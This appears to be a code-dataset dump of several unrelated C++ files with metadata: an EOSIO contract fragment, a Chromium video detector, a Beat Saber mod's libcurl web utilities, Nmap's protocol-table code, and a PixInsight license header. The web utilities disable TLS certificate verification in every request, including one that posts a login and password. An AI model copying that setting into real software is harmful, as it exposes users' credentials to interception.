template<auto system_contract::*...Ptrs>
class registration {
public:
template<auto system_contract::*P, auto system_contract::*...Ps>
struct for_each {
template<typename... Args>
static constexpr void call(system_contract *this_contract, Args &&... args) {
std::invoke(P, this_contract, std::forward<Args>(args)...);
for_each<Ps...>::call(this_contract, std::forward<Args>(args)...);
}
};
template<auto system_contract::*P>
struct for_each<P> {
template<typename... Args>
static constexpr void call(system_contract *this_contract, Args &&... args) {
std::invoke(P, this_contract, std::forward<Args>(args)...);
}
};
template<typename... Args>
constexpr void operator()(Args &&... args) {
for_each<Ptrs...>::call(this_contract, std::forward<Args>(args)...);
}
system_contract *this_contract;
};
};
} /// eosiosystem
| 38.573413 | 174 | 0.715755 | tvl83 |
e74d2e1edd793fed965b4edf54725c20d4d2ec05 | 846 | cc | C++ | services/ui/ws/video_detector_impl.cc | zipated/src | 2b8388091c71e442910a21ada3d97ae8bc1845d3 | [
"BSD-3-Clause"
] | 2,151 | 2020-04-18T07:31:17.000Z | 2022-03-31T08:39:18.000Z | services/ui/ws/video_detector_impl.cc | cangulcan/src | 2b8388091c71e442910a21ada3d97ae8bc1845d3 | [
"BSD-3-Clause"
] | 395 | 2020-04-18T08:22:18.000Z | 2021-12-08T13:04:49.000Z | services/ui/ws/video_detector_impl.cc | cangulcan/src | 2b8388091c71e442910a21ada3d97ae8bc1845d3 | [
"BSD-3-Clause"
] | 338 | 2020-04-18T08:03:10.000Z | 2022-03-29T12:33:22.000Z | // Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "services/ui/ws/video_detector_impl.h"
#include "components/viz/host/host_frame_sink_manager.h"
namespace ui {
namespace ws {
VideoDetectorImpl::VideoDetectorImpl(
viz::HostFrameSinkManager* host_frame_sink_manager)
: host_frame_sink_manager_(host_frame_sink_manager) {}
VideoDetectorImpl::~VideoDetectorImpl() = default;
void VideoDetectorImpl::AddBinding(mojom::VideoDetectorRequest request) {
binding_set_.AddBinding(this, std::move(request));
}
void VideoDetectorImpl::AddObserver(
viz::mojom::VideoDetectorObserverPtr observer) {
host_frame_sink_manager_->AddVideoDetectorObserver(std::move(observer));
}
} // namespace ws
} // namespace ui
| 29.172414 | 74 | 0.782506 | zipated |
e74f5c452100786449b981bb7a60d8fe5217811b | 18,918 | cpp | C++ | src/Utils/WebUtils.cpp | Christoffyw/beatleader-qmod | 3a1747f0a582281f78ac4a2390349add0bfe22b6 | [
"MIT"
] | null | null | null | src/Utils/WebUtils.cpp | Christoffyw/beatleader-qmod | 3a1747f0a582281f78ac4a2390349add0bfe22b6 | [
"MIT"
] | null | null | null | src/Utils/WebUtils.cpp | Christoffyw/beatleader-qmod | 3a1747f0a582281f78ac4a2390349add0bfe22b6 | [
"MIT"
] | null | null | null | #include "main.hpp"
#include "Utils/WebUtils.hpp"
#include "libcurl/shared/curl.h"
#include "libcurl/shared/easy.h"
#include <filesystem>
#include <sstream>
#define TIMEOUT 10
#define USER_AGENT std::string(ID "/" VERSION " (BeatSaber/" + GameVersion + ") (Oculus)").c_str()
#define X_BSSB "X-BSSB: ✔"
namespace WebUtils {
std::string GameVersion = "Unknown";
//https://stackoverflow.com/a/55660581
std::string query_encode(const std::string& s)
{
std::string ret;
#define IS_BETWEEN(ch, low, high) (ch >= low && ch <= high)
#define IS_ALPHA(ch) (IS_BETWEEN(ch, 'A', 'Z') || IS_BETWEEN(ch, 'a', 'z'))
#define IS_DIGIT(ch) IS_BETWEEN(ch, '0', '9')
#define IS_HEXDIG(ch) (IS_DIGIT(ch) || IS_BETWEEN(ch, 'A', 'F') || IS_BETWEEN(ch, 'a', 'f'))
for(size_t i = 0; i < s.size();)
{
char ch = s[i++];
if (IS_ALPHA(ch) || IS_DIGIT(ch))
{
ret += ch;
}
else if ((ch == '%') && IS_HEXDIG(s[i+0]) && IS_HEXDIG(s[i+1]))
{
ret += s.substr(i-1, 3);
i += 2;
}
else
{
switch (ch)
{
case '-':
case '.':
case '_':
case '~':
case '!':
case '$':
case '&':
case '\'':
case '(':
case ')':
case '*':
case '+':
case ',':
case ';':
case '=':
case ':':
case '@':
case '/':
case '?':
case '[':
case ']':
ret += ch;
break;
default:
{
static const char hex[] = "0123456789ABCDEF";
char pct[] = "% ";
pct[1] = hex[(ch >> 4) & 0xF];
pct[2] = hex[ch & 0xF];
ret.append(pct, 3);
break;
}
}
}
}
return ret;
}
std::size_t CurlWrite_CallbackFunc_StdString(void *contents, std::size_t size, std::size_t nmemb, std::string *s)
{
std::size_t newLength = size * nmemb;
try {
s->append((char*)contents, newLength);
} catch(std::bad_alloc &e) {
//handle memory problem
getLogger().critical("Failed to allocate string of size: %lu", newLength);
return 0;
}
return newLength;
}
std::optional<rapidjson::Document> GetJSON(std::string url) {
std::string data;
Get(url, data);
rapidjson::Document document;
document.Parse(data);
if(document.HasParseError() || !document.IsObject())
return std::nullopt;
return document;
}
long Get(std::string url, std::string& val) {
return Get(url, TIMEOUT, val);
}
long Get(std::string url, long timeout, std::string& val) {
std::string directory = getDataDir(modInfo) + "cookies/";
std::filesystem::create_directories(directory);
std::string cookieFile = directory + "cookies.txt";
// Init curl
auto* curl = curl_easy_init();
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, X_BSSB);
// Set headers
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_URL, query_encode(url).c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookieFile.c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookieFile.c_str());
// Don't wait forever, time out after TIMEOUT seconds.
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout);
// Follow HTTP redirects if necessary.
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "GET");
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);
long httpCode(0);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, reinterpret_cast<void*>(&val));
curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, false);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
auto res = curl_easy_perform(curl);
/* Check for errors */
if (res != CURLE_OK) {
getLogger().critical("curl_easy_perform() failed: %u: %s", res, curl_easy_strerror(res));
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
curl_easy_cleanup(curl);
return httpCode;
}
struct ProgressUpdateWrapper {
std::function<void(float)> progressUpdate;
long length;
};
void GetAsync(std::string url, std::function<void(long, std::string)> finished, std::function<void(float)> progressUpdate) {
GetAsync(url, TIMEOUT, finished, progressUpdate);
}
void GetAsync(std::string url, long timeout, std::function<void(long, std::string)> finished, std::function<void(float)> progressUpdate) {
std::thread t (
[url, timeout, progressUpdate, finished] {
std::string directory = getDataDir(modInfo) + "cookies/";
std::filesystem::create_directories(directory);
std::string cookieFile = directory + "cookies.txt";
std::string val;
// Init curl
auto* curl = curl_easy_init();
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, X_BSSB);
// Set headers
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_URL, query_encode(url).c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookieFile.c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookieFile.c_str());
// Don't wait forever, time out after TIMEOUT seconds.
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout);
// Follow HTTP redirects if necessary.
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "GET");
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);
ProgressUpdateWrapper* wrapper = new ProgressUpdateWrapper { progressUpdate };
if(progressUpdate) {
// Internal CURL progressmeter must be disabled if we provide our own callback
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, false);
curl_easy_setopt(curl, CURLOPT_XFERINFODATA, wrapper);
// Install the callback function
curl_easy_setopt(curl, CURLOPT_XFERINFOFUNCTION,
+[] (void* clientp, curl_off_t dltotal, curl_off_t dlnow, curl_off_t ultotal, curl_off_t ulnow) {
float percentage = (float)dlnow / (float)dltotal * 100.0f;
if(isnan(percentage))
percentage = 0.0f;
reinterpret_cast<ProgressUpdateWrapper*>(clientp)->progressUpdate(percentage);
return 0;
}
);
}
long httpCode(0);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &val);
curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, false);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
auto res = curl_easy_perform(curl);
/* Check for errors */
if (res != CURLE_OK) {
getLogger().critical("curl_easy_perform() failed: %u: %s", res, curl_easy_strerror(res));
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
curl_easy_cleanup(curl);
delete wrapper;
finished(httpCode, val);
}
);
t.detach();
}
void GetJSONAsync(std::string url, std::function<void(long, bool, rapidjson::Document&)> finished) {
GetAsync(url,
[finished] (long httpCode, std::string data) {
rapidjson::Document document;
document.Parse(data);
finished(httpCode, document.HasParseError() || !document.IsObject(), document);
}
);
}
void PostJSONAsync(std::string url, std::string data, std::function<void(long, std::string)> finished) {
PostJSONAsync(url, data, TIMEOUT, finished);
}
void PostJSONAsync(std::string url, std::string data, long timeout, std::function<void(long, std::string)> finished) {
std::thread t(
[url, timeout, data, finished] {
std::string val;
// Init curl
auto* curl = curl_easy_init();
//auto form = curl_mime_init(curl);
struct curl_slist* headers = NULL;
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, X_BSSB);
headers = curl_slist_append(headers, "Content-Type: application/json");
// Set headers
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_URL, query_encode(url).c_str());
// Don't wait forever, time out after TIMEOUT seconds.
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout);
// Follow HTTP redirects if necessary.
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);
long httpCode(0);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &val);
curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, false);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, &data);
CURLcode res = curl_easy_perform(curl);
/* Check for errors */
if (res != CURLE_OK) {
getLogger().critical("curl_easy_perform() failed: %u: %s", res, curl_easy_strerror(res));
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
curl_easy_cleanup(curl);
//curl_mime_free(form);
finished(httpCode, val);
}
);
t.detach();
}
void PostFormAsync(std::string url, std::string action, std::string login, std::string password, std::function<void(long, std::string)> finished) {
std::thread t(
[url, action, login, password, finished] {
long timeout = TIMEOUT;
std::string directory = getDataDir(modInfo) + "cookies/";
std::filesystem::create_directories(directory);
std::string cookieFile = directory + "cookies.txt";
std::string val;
// Init curl
auto* curl = curl_easy_init();
//auto form = curl_mime_init(curl);
struct curl_slist* headers = NULL;
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, X_BSSB);
headers = curl_slist_append(headers, "Content-Type: multipart/form-data");
// Set headers
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_URL, query_encode(url).c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookieFile.c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookieFile.c_str());
// Don't wait forever, time out after TIMEOUT seconds.
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout);
// Follow HTTP redirects if necessary.
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);
struct curl_httppost *formpost=NULL;
struct curl_httppost *lastptr=NULL;
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "action",
CURLFORM_COPYCONTENTS, action.c_str(),
CURLFORM_END);
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "login",
CURLFORM_COPYCONTENTS, login.c_str(),
CURLFORM_END);
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "password",
CURLFORM_COPYCONTENTS, password.c_str(),
CURLFORM_END);
curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
long httpCode(0);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &val);
curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, false);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
CURLcode res = curl_easy_perform(curl);
/* Check for errors */
if (res != CURLE_OK) {
getLogger().critical("curl_easy_perform() failed: %u: %s", res, curl_easy_strerror(res));
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
curl_easy_cleanup(curl);
curl_formfree(formpost);
//curl_mime_free(form);
finished(httpCode, val);
}
);
t.detach();
}
struct input {
FILE *in;
size_t bytes_read; /* count up */
CURL *hnd;
};
static size_t read_callback(char *ptr, size_t size, size_t nmemb, void *userp)
{
struct input *i = (struct input *)userp;
size_t retcode = fread(ptr, size, nmemb, i->in);
i->bytes_read += retcode;
return retcode;
}
void PostFileAsync(std::string url, FILE* data, long length, long timeout, std::function<void(long, std::string)> finished, std::function<void(float)> progressUpdate) {
std::thread t(
[url, timeout, data, finished, length, progressUpdate] {
std::string val;
std::string directory = getDataDir(modInfo) + "cookies/";
std::filesystem::create_directories(directory);
std::string cookieFile = directory + "cookies.txt";
// Init curl
auto* curl = curl_easy_init();
struct input i;
i.in = data;
i.hnd = curl;
//auto form = curl_mime_init(curl);
struct curl_slist* headers = NULL;
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, X_BSSB);
headers = curl_slist_append(headers, "Content-Type: application/octet-stream");
// Set headers
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_URL, query_encode(url).c_str());
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookieFile.c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookieFile.c_str());
// Don't wait forever, time out after TIMEOUT seconds.
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout);
ProgressUpdateWrapper* wrapper = new ProgressUpdateWrapper { progressUpdate, length };
if (progressUpdate) {
// Internal CURL progressmeter must be disabled if we provide our own callback
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, false);
curl_easy_setopt(curl, CURLOPT_XFERINFODATA, wrapper);
// Install the callback function
curl_easy_setopt(curl, CURLOPT_XFERINFOFUNCTION,
+[] (void* clientp, curl_off_t dltotal, curl_off_t dlnow, curl_off_t ultotal, curl_off_t ulnow) {
float percentage = (ulnow / (float)reinterpret_cast<ProgressUpdateWrapper*>(clientp)->length) * 100.0f;
if(isnan(percentage))
percentage = 0.0f;
reinterpret_cast<ProgressUpdateWrapper*>(clientp)->progressUpdate(percentage);
return 0;
}
);
}
// Follow HTTP redirects if necessary.
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);
long httpCode(0);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &val);
curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, false);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
/* size of the POST data */
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, length);
/* binary data */
curl_easy_setopt(curl, CURLOPT_READDATA, &i);
CURLcode res = curl_easy_perform(curl);
/* Check for errors */
if (res != CURLE_OK) {
getLogger().critical("curl_easy_perform() failed: %u: %s", res, curl_easy_strerror(res));
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
curl_easy_cleanup(curl);
//curl_mime_free(form);
finished(httpCode, val);
}
);
t.detach();
}
} | 40.683871 | 172 | 0.540332 | Christoffyw |
e75031c66d4e4ae57bffee8e416c3bea3a1014dd | 11,608 | cc | C++ | src/GaIA/pkgs/nmap/nmap-3.93/protocols.cc | uninth/UNItools | c8b1fbfd5d3753b5b14fa19033e39737dedefc00 | [
"BSD-3-Clause"
] | null | null | null | src/GaIA/pkgs/nmap/nmap-3.93/protocols.cc | uninth/UNItools | c8b1fbfd5d3753b5b14fa19033e39737dedefc00 | [
"BSD-3-Clause"
] | null | null | null | src/GaIA/pkgs/nmap/nmap-3.93/protocols.cc | uninth/UNItools | c8b1fbfd5d3753b5b14fa19033e39737dedefc00 | [
"BSD-3-Clause"
] | 1 | 2021-06-08T15:59:26.000Z | 2021-06-08T15:59:26.000Z |
/***************************************************************************
* protocols.cc -- Functions relating to the protocol scan and mapping *
* between IPproto Number <-> name. *
* *
***********************IMPORTANT NMAP LICENSE TERMS************************
* *
* The Nmap Security Scanner is (C) 1996-2004 Insecure.Com LLC. Nmap *
* is also a registered trademark of Insecure.Com LLC. This program is *
* free software; you may redistribute and/or modify it under the *
* terms of the GNU General Public License as published by the Free *
* Software Foundation; Version 2. This guarantees your right to use, *
* modify, and redistribute this software under certain conditions. If *
* you wish to embed Nmap technology into proprietary software, we may be *
* willing to sell alternative licenses (contact sales@insecure.com). *
* Many security scanner vendors already license Nmap technology such as *
* our remote OS fingerprinting database and code, service/version *
* detection system, and port scanning code. *
* *
* Note that the GPL places important restrictions on "derived works", yet *
* it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we consider an application to constitute a *
* "derivative work" for the purpose of this license if it does any of the *
* following: *
* o Integrates source code from Nmap *
* o Reads or includes Nmap copyrighted data files, such as *
* nmap-os-fingerprints or nmap-service-probes. *
* o Executes Nmap and parses the results (as opposed to typical shell or *
* execution-menu apps, which simply display raw Nmap output and so are *
* not derivative works.) *
* o Integrates/includes/aggregates Nmap into a proprietary executable *
* installer, such as those produced by InstallShield. *
* o Links to a library or executes a program that does any of the above *
* *
* The term "Nmap" should be taken to also include any portions or derived *
* works of Nmap. This list is not exclusive, but is just meant to *
* clarify our interpretation of derived works with some common examples. *
* These restrictions only apply when you actually redistribute Nmap. For *
* example, nothing stops you from writing and selling a proprietary *
* front-end to Nmap. Just distribute it by itself, and point people to *
* http://www.insecure.org/nmap/ to download Nmap. *
* *
* We don't consider these to be added restrictions on top of the GPL, but *
* just a clarification of how we interpret "derived works" as it applies *
* to our GPL-licensed Nmap product. This is similar to the way Linus *
* Torvalds has announced his interpretation of how "derived works" *
* applies to Linux kernel modules. Our interpretation refers only to *
* Nmap - we don't speak for any other GPL products. *
* *
* If you have any questions about the GPL licensing restrictions on using *
* Nmap in non-GPL works, we would be happy to help. As mentioned above, *
* we also offer alternative license to integrate Nmap into proprietary *
* applications and appliances. These contracts have been sold to many *
* security vendors, and generally include a perpetual license as well as *
* providing for priority support and updates as well as helping to fund *
* the continued development of Nmap technology. Please email *
* sales@insecure.com for further information. *
* *
* As a special exception to the GPL terms, Insecure.Com LLC grants *
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included Copying.OpenSSL file, and distribute linked *
* combinations including the two. You must obey the GNU GPL in all *
* respects for all of the code used other than OpenSSL. If you modify *
* this file, you may extend this exception to your version of the file, *
* but you are not obligated to do so. *
* *
* If you received these files with a written license agreement or *
* contract stating terms other than the terms above, then that *
* alternative license agreement takes precedence over these comments. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port Nmap to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to fyodor@insecure.org for possible incorporation into the main *
* distribution. By sending these changes to Fyodor or one the *
* Insecure.Org development mailing lists, it is assumed that you are *
* offering Fyodor and Insecure.Com LLC the unlimited, non-exclusive right *
* to reuse, modify, and relicense the code. Nmap will always be *
* available Open Source, but this is important because the inability to *
* relicense code has caused devastating problems for other Free Software *
* projects (such as KDE and NASM). We also occasionally relicense the *
* code to third parties as discussed above. If you wish to specify *
* special license conditions of your contributions, just say so when you *
* send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *
* General Public License for more details at *
* http://www.gnu.org/copyleft/gpl.html , or in the COPYING file included *
* with Nmap. *
* *
***************************************************************************/
/* $Id: protocols.cc 2396 2004-08-29 09:12:05Z fyodor $ */
#include "protocols.h"
#include "NmapOps.h"
extern NmapOps o;
static int protocols_initialized = 0;
static int numipprots = 0;
static struct protocol_list *protocol_table[PROTOCOL_TABLE_SIZE];
static int nmap_protocols_init() {
char filename[512];
FILE *fp;
char protocolname[128];
unsigned short protno;
char *p;
char line[1024];
int lineno = 0;
struct protocol_list *current, *previous;
int res;
if (nmap_fetchfile(filename, sizeof(filename), "nmap-protocols") == -1) {
error("Unable to find nmap-protocols! Resorting to /etc/protocol");
strcpy(filename, "/etc/protocols");
}
fp = fopen(filename, "r");
if (!fp) {
fatal("Unable to open %s for reading protocol information", filename);
}
memset(protocol_table, 0, sizeof(protocol_table));
while(fgets(line, sizeof(line), fp)) {
lineno++;
p = line;
while(*p && isspace((int) *p))
p++;
if (*p == '#')
continue;
res = sscanf(line, "%127s %hu", protocolname, &protno);
if (res !=2)
continue;
protno = htons(protno);
/* Now we make sure our protocols don't have duplicates */
for(current = protocol_table[0], previous = NULL;
current; current = current->next) {
if (protno == current->protoent->p_proto) {
if (o.debugging) {
error("Protocol %d is duplicated in protocols file %s", ntohs(protno), filename);
}
break;
}
previous = current;
}
if (current)
continue;
numipprots++;
current = (struct protocol_list *) cp_alloc(sizeof(struct protocol_list));
current->protoent = (struct protoent *) cp_alloc(sizeof(struct protoent));
current->next = NULL;
if (previous == NULL) {
protocol_table[protno] = current;
} else {
previous->next = current;
}
current->protoent->p_name = cp_strdup(protocolname);
current->protoent->p_proto = protno;
current->protoent->p_aliases = NULL;
}
fclose(fp);
protocols_initialized = 1;
return 0;
}
struct protoent *nmap_getprotbynum(int num) {
struct protocol_list *current;
if (!protocols_initialized)
if (nmap_protocols_init() == -1)
return NULL;
for(current = protocol_table[num % PROTOCOL_TABLE_SIZE];
current; current = current->next) {
if (num == current->protoent->p_proto)
return current->protoent;
}
/* Couldn't find it ... oh well. */
return NULL;
}
/* Be default we do all prots 0-255. */
struct scan_lists *getdefaultprots(void) {
int protindex = 0;
struct scan_lists *scanlist;
/*struct protocol_list *current;*/
int bucket;
int protsneeded = 256;
if (!protocols_initialized)
if (nmap_protocols_init() == -1)
fatal("getdefaultprots(): Couldn't get protocol numbers");
scanlist = (struct scan_lists *) safe_zalloc(sizeof(struct scan_lists));
scanlist->prots = (unsigned short *) safe_zalloc((protsneeded) * sizeof(unsigned short));
scanlist->prot_count = protsneeded;
for(bucket = 0; bucket < protsneeded; bucket++) {
scanlist->prots[protindex++] = bucket;
}
return scanlist;
}
struct scan_lists *getfastprots(void) {
int protindex = 0;
struct scan_lists *scanlist;
char usedprots[256];
struct protocol_list *current;
int bucket;
int protsneeded = 0;
if (!protocols_initialized)
if (nmap_protocols_init() == -1)
fatal("Getfastprots: Couldn't get protocol numbers");
memset(usedprots, 0, sizeof(usedprots));
for(bucket = 0; bucket < PROTOCOL_TABLE_SIZE; bucket++) {
for(current = protocol_table[bucket % PROTOCOL_TABLE_SIZE];
current; current = current->next) {
if (!usedprots[ntohs(current->protoent->p_proto)])
usedprots[ntohs(current->protoent->p_proto)] = 1;
protsneeded++;
}
}
scanlist = (struct scan_lists *) safe_zalloc(sizeof(struct scan_lists));
scanlist->prots = (unsigned short *) safe_zalloc((protsneeded ) * sizeof(unsigned short));
scanlist->prot_count = protsneeded;
for(bucket = 0; bucket < 256; bucket++) {
if (usedprots[bucket])
scanlist->prots[protindex++] = bucket;
}
return scanlist;
}
| 44.646154 | 92 | 0.589938 | uninth |
e750331b1784db31cfa7d7ab6f03ac4554927de1 | 1,384 | cpp | C++ | Loong/LoongEditor/src/widget/LoongEditorTreeNodeWidget.cpp | carlcc/Loong | 577e89b436eb0e5899295c95ee4587c0270cea94 | [
"Apache-2.0"
] | 9 | 2020-08-14T02:01:02.000Z | 2022-01-28T08:51:12.000Z | Loong/LoongEditor/src/widget/LoongEditorTreeNodeWidget.cpp | carlcc/Loong | 577e89b436eb0e5899295c95ee4587c0270cea94 | [
"Apache-2.0"
] | null | null | null | Loong/LoongEditor/src/widget/LoongEditorTreeNodeWidget.cpp | carlcc/Loong | 577e89b436eb0e5899295c95ee4587c0270cea94 | [
"Apache-2.0"
] | null | null | null | //
// Copyright (c) 2020 Carl Chen. All rights reserved.
//
#include "LoongEditorTreeNodeWidget.h"
#include <imgui.h>
namespace Loong::Editor {
void EditorTreeNodeWidget::DrawImpl()
{
bool prevOpened = isOpened_;
if (shouldOpen_) {
ImGui::SetNextTreeNodeOpen(true);
shouldOpen_ = false;
} else if (shouldClose_) {
ImGui::SetNextTreeNodeOpen(false);
shouldClose_ = false;
}
// clang-format off
ImGuiTreeNodeFlags flags = ImGuiTreeNodeFlags_None;
if (arrowClickToOpen_) flags |= ImGuiTreeNodeFlags_OpenOnArrow;
if (isSelected_) flags |= ImGuiTreeNodeFlags_Selected;
if (isLeaf_) flags |= ImGuiTreeNodeFlags_Leaf;
// clang-format on
bool opened = ImGui::TreeNodeEx((name_ + widgetId_).c_str(), flags);
if (ImGui::IsItemClicked() && (ImGui::GetMousePos().x - ImGui::GetItemRectMin().x) > ImGui::GetTreeNodeToLabelSpacing()) {
OnClickSignal_.emit(this);
}
if (opened) {
if (!prevOpened) {
OnExpandSignal_.emit(this);
}
isOpened_ = true;
for (auto& widget : children_) {
widget->Draw();
}
ImGui::TreePop();
} else {
if (prevOpened) {
OnCollapseSignal_.emit(this);
}
isOpened_ = false;
}
}
} | 24.714286 | 127 | 0.580202 | carlcc |
e7533f623c7a03304bfcc47ea6355f12169c5b37 | 17,227 | cpp | C++ | src/modules/processes/Global/ColorManagementSetupInstance.cpp | fmeschia/pixinsight-class-library | 11b956e27d6eee3e119a7b1c337d090d7a03f436 | [
"JasPer-2.0",
"libtiff"
] | null | null | null | src/modules/processes/Global/ColorManagementSetupInstance.cpp | fmeschia/pixinsight-class-library | 11b956e27d6eee3e119a7b1c337d090d7a03f436 | [
"JasPer-2.0",
"libtiff"
] | null | null | null | src/modules/processes/Global/ColorManagementSetupInstance.cpp | fmeschia/pixinsight-class-library | 11b956e27d6eee3e119a7b1c337d090d7a03f436 | [
"JasPer-2.0",
"libtiff"
] | null | null | null | // ____ ______ __
// / __ \ / ____// /
// / /_/ // / / /
// / ____// /___ / /___ PixInsight Class Library
// /_/ \____//_____/ PCL 2.4.9
// ----------------------------------------------------------------------------
// Standard Global Process Module Version 1.3.0
// ----------------------------------------------------------------------------
// ColorManagementSetupInstance.cpp - Released 2021-04-09T19:41:48Z
// ----------------------------------------------------------------------------
// This file is part of the standard Global PixInsight module.
//
// Copyright (c) 2003-2021 Pleiades Astrophoto S.L. All Rights Reserved.
//
// Redistribution and use in both source and binary forms, with or without
// modification, is permitted provided that the following conditions are met:
//
// 1. All redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//
// 2. All redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// 3. Neither the names "PixInsight" and "Pleiades Astrophoto", nor the names
// of their contributors, may be used to endorse or promote products derived
// from this software without specific prior written permission. For written
// permission, please contact info@pixinsight.com.
//
// 4. All products derived from this software, in any form whatsoever, must
// reproduce the following acknowledgment in the end-user documentation
// and/or other materials provided with the product:
//
// "This product is based on software from the PixInsight project, developed
// by Pleiades Astrophoto and its contributors (https://pixinsight.com/)."
//
// Alternatively, if that is where third-party acknowledgments normally
// appear, this acknowledgment must be reproduced in the product itself.
//
// THIS SOFTWARE IS PROVIDED BY PLEIADES ASTROPHOTO AND ITS CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
// TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL PLEIADES ASTROPHOTO OR ITS
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, BUSINESS
// INTERRUPTION; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; AND LOSS OF USE,
// DATA OR PROFITS) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
